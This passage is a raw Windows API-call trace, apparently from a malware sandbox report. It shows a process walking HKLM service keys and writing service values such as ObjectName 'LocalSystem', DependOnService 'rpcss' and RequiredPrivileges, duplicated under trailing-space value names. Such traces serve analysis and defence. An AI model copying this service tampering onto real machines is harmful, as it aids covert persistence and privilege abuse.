hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.821] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.821] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.822] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.822] RegCloseKey (hKey=0x14c) returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.822] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.822] RegCloseKey (hKey=0x150) returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.823] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.823] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.823] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.823] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.823] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.824] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.825] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0241.825] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0241.825] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0241.826] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.827] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0241.827] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0241.827] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.827] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.827] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.827] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0241.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.884] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0241.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0241.884] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0241.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0241.885] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.886] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.886] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0241.886] RtlAllocateHeap 